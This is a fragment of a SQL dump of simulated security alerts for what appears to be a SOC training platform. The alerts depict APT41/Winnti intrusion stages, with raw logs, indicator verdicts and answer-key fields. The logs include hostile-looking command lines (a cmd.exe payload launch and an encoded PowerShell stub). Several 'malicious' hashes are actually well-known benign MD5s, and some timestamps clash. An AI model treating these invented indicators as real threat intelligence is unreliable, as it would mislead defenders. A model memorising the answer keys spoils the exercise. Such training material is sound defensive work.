network\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by APT41\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"gameupdate.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename used in past attacks on game distributors\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/dist/gameupdate\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"signature_id\\\":\\\"2023456\\\",\\\"signature_info\\\":\\\"Exploitation of vulnerability in game distribution\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"gameupdate.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/dist/gameupdate\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"signature_id\\\":\\\"2023456\\\",\\\"signature_info\\\":\\\"Exploitation of vulnerability in game distribution\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"gameupdate.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/dist/gameupdate\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"signature_id\\\":\\\"2023456\\\",\\\"signature_info\\\":\\\"Exploitation of vulnerability in game distribution\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"gameupdate.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/dist/gameupdate\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"signature_id\\\":\\\"2023456\\\",\\\"signature_info\\\":\\\"Exploitation of vulnerability in game distribution\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"gameupdate.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"http_method\\\":\\\"GET\\\",\\\"url\\\":\\\"/dist/gameupdate\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"signature_id\\\":\\\"2023456\\\",\\\"signature_info\\\":\\\"Exploitation of vulnerability in game distribution\\\",\\\"malicious_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"gameupdate.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1127, 'Malicious Code Execution', 'high', 'Endpoint Detection and Response (EDR)', 'Following initial access, attackers execute a payload designed to infiltrate the core systems of the gaming network, leveraging stolen code-signing certificates for legitimacy.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:35:00Z\",\"event_id\":\"EDR-20231012-003\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"executed_command\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c start C:\\\\Temp\\\\malicious_payload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"compromised_user\",\"filename\":\"malicious_payload.exe\",\"process_id\":5678,\"code_signature\":{\"status\":\"Valid\",\"issuer\":\"Stolen Certificate Authority\"}}', '2026-02-01 14:01:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of APT41 toolkit.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"File associated with recent APT41 attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory Logs\",\"verdict\":\"suspicious\",\"details\":\"User account recently used to execute unauthorized actions.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1128, 'Establishing Persistence - Winnti Group', 'high', 'System Logs and Registry Changes', 'The Winnti Group has deployed advanced rootkits and backdoors on the compromised host, ensuring continued access to the network even after system reboots and security patches. The presence of a suspicious registry key and a known malicious file hash indicates persistence mechanisms have been established.', 'Persistence', 'T1547: Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:35:00Z\",\"host_ip\":\"10.0.0.200\",\"registry_change\":{\"key_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\WinntiBackdoor\",\"old_value\":null,\"new_value\":\"C:\\\\Windows\\\\System32\\\\winniti.exe\"},\"file_hash_detection\":{\"file_path\":\"C:\\\\Windows\\\\System32\\\\winniti.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"},\"external_ip\":\"203.0.113.45\",\"username\":\"compromised_user\"}', '2026-02-01 14:01:30', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with the Winnti Group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Winnti malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Username used during the incident.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.850Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:35:00Z\\\",\\\"host_ip\\\":\\\"10.0.0.200\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\WinntiBackdoor\\\",\\\"old_value\\\":null,\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\"},\\\"file_hash_detection\\\":{\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.850Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:35:00Z\\\",\\\"host_ip\\\":\\\"10.0.0.200\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\WinntiBackdoor\\\",\\\"old_value\\\":null,\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\"},\\\"file_hash_detection\\\":{\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.850Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:35:00Z\\\",\\\"host_ip\\\":\\\"10.0.0.200\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\WinntiBackdoor\\\",\\\"old_value\\\":null,\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\"},\\\"file_hash_detection\\\":{\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.850Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:35:00Z\\\",\\\"host_ip\\\":\\\"10.0.0.200\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\WinntiBackdoor\\\",\\\"old_value\\\":null,\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\"},\\\"file_hash_detection\\\":{\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.850Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:35:00Z\\\",\\\"host_ip\\\":\\\"10.0.0.200\\\",\\\"registry_change\\\":{\\\"key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\WinntiBackdoor\\\",\\\"old_value\\\":null,\\\"new_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\"},\\\"file_hash_detection\\\":{\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winniti.exe\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"},\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1129, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'An intermediate-level lateral movement was detected within the network. The attackers are leveraging existing trust relationships and are targeting servers associated with game development and distribution. This activity aligns with APT41\'s known tactics and techniques.', 'Lateral Movement', 'T1078.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"10.0.2.20\",\"dst_port\":\"445\",\"protocol\":\"SMB\",\"username\":\"dev_user\",\"file_accessed\":\"game_assets_v2.zip\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"external_ip\":\"203.0.113.45\",\"comment\":\"Suspicious SMB traffic detected from internal IP to game development server.\"}', '2026-02-01 14:01:30', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used within the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Targeted game development server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known APT41 malicious activity.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address linked to previous APT41 operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1130, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) Systems', 'In a sophisticated data exfiltration attempt, attackers are trying to transfer sensitive data, including source code and user information, to an external server. The operation is attributed to APT41, known for using supply chain attacks and espionage techniques.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:45:27Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"filename\":\"confidential_data.zip\",\"file_hash\":\"3d2e4b9d5f6a7c8e9f0a1b2c3d4e5f6a7b8c9d0e\",\"action\":\"blocked\",\"message\":\"DLP detected and blocked an attempt to exfiltrate sensitive data to an external IP address.\",\"threat_actor\":\"APT41\"}', '2026-02-01 14:01:30', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT41 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e4b9d5f6a7c8e9f0a1b2c3d4e5f6a7b8c9d0e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"File hash related to exfiltration tools used by APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_scan\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file involved in the exfiltration attempt.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.852Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:45:27Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3d2e4b9d5f6a7c8e9f0a1b2c3d4e5f6a7b8c9d0e\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"DLP detected and blocked an attempt to exfiltrate sensitive data to an external IP address.\\\",\\\"threat_actor\\\":\\\"APT41\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.852Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:45:27Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3d2e4b9d5f6a7c8e9f0a1b2c3d4e5f6a7b8c9d0e\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"DLP detected and blocked an attempt to exfiltrate sensitive data to an external IP address.\\\",\\\"threat_actor\\\":\\\"APT41\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.852Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:45:27Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3d2e4b9d5f6a7c8e9f0a1b2c3d4e5f6a7b8c9d0e\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"DLP detected and blocked an attempt to exfiltrate sensitive data to an external IP address.\\\",\\\"threat_actor\\\":\\\"APT41\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.852Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:45:27Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3d2e4b9d5f6a7c8e9f0a1b2c3d4e5f6a7b8c9d0e\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"DLP detected and blocked an attempt to exfiltrate sensitive data to an external IP address.\\\",\\\"threat_actor\\\":\\\"APT41\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.852Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:45:27Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3d2e4b9d5f6a7c8e9f0a1b2c3d4e5f6a7b8c9d0e\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"DLP detected and blocked an attempt to exfiltrate sensitive data to an external IP address.\\\",\\\"threat_actor\\\":\\\"APT41\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1142, 'Execution - Malicious Document Opens Backdoor', 'high', 'Endpoint Detection and Response (EDR)', 'A malicious document was opened on the endpoint, which triggered the execution of a backdoor. This allows attackers remote access to the system, potentially leading to further malicious activities.', 'Malware Execution', 'T1203: Exploitation for Client Execution', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:22:30Z\",\"event_id\":\"EDR-2023-5678\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"malware_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"malicious_file\":\"Invoice_Q3_2023.docx\",\"executed_process\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Local\\\\Temp\\\\backdoor.exe\",\"username\":\"john.doe\",\"host_name\":\"DESKTOP-1A2B3C\",\"action\":\"Malware Execution Detected\"}', '2026-02-01 14:02:29', '2026-02-23 20:06:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known command and control IP associated with APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known backdoor malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_Q3_2023.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Malicious document used to deliver the payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Employee account used during the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
